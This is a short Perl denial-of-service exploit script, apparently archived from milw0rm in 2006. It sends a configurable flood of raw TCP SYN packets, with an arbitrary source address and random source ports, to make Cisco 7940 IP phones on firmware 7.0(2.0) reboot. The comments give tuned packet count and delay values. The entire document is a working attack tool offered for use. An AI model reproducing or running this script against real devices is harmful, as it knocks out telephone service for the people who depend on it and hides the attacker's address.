24 lines
No EOL
905 B
Perl
Executable file
24 lines
No EOL
905 B
Perl
Executable file
#!/usr/bin/perl
|
|
# This is made for trashing cisco 7940 ip phones. kokanin made/discovered this.
|
|
# A packetcount of 1000 and a packetdelay of 0.002 sent to port 80 makes my
|
|
# phone reboot - play with the settings and stuff. PRIVATE PRIVATE PRIVATE!!!
|
|
# not private anymore. Vulnerable phones are running ver. 7.0(2.0) using the skinny
|
|
# protocol - this is not for the SIP firmware.
|
|
|
|
use Net::RawIP;
|
|
use Time::HiRes;
|
|
$pkt = new Net::RawIP;
|
|
die "Usage $0 <src> <dst> <target port> <number of pkts> <packet delay>" unless ($ARGV[4]);
|
|
$pkt->set({
|
|
ip => {
|
|
saddr => $ARGV[0],
|
|
daddr => $ARGV[1]
|
|
},
|
|
tcp=> { dest => $ARGV[2],
|
|
syn => 1,
|
|
seq => 0,
|
|
ack => 0}
|
|
});
|
|
for(1..$ARGV[3]){ $pkt->set({tcp=>{source=>int(rand(65535))}});Time::HiRes::sleep($ARGV[4]); $pkt->send; };
|
|
|
|
# milw0rm.com [2006-01-10] |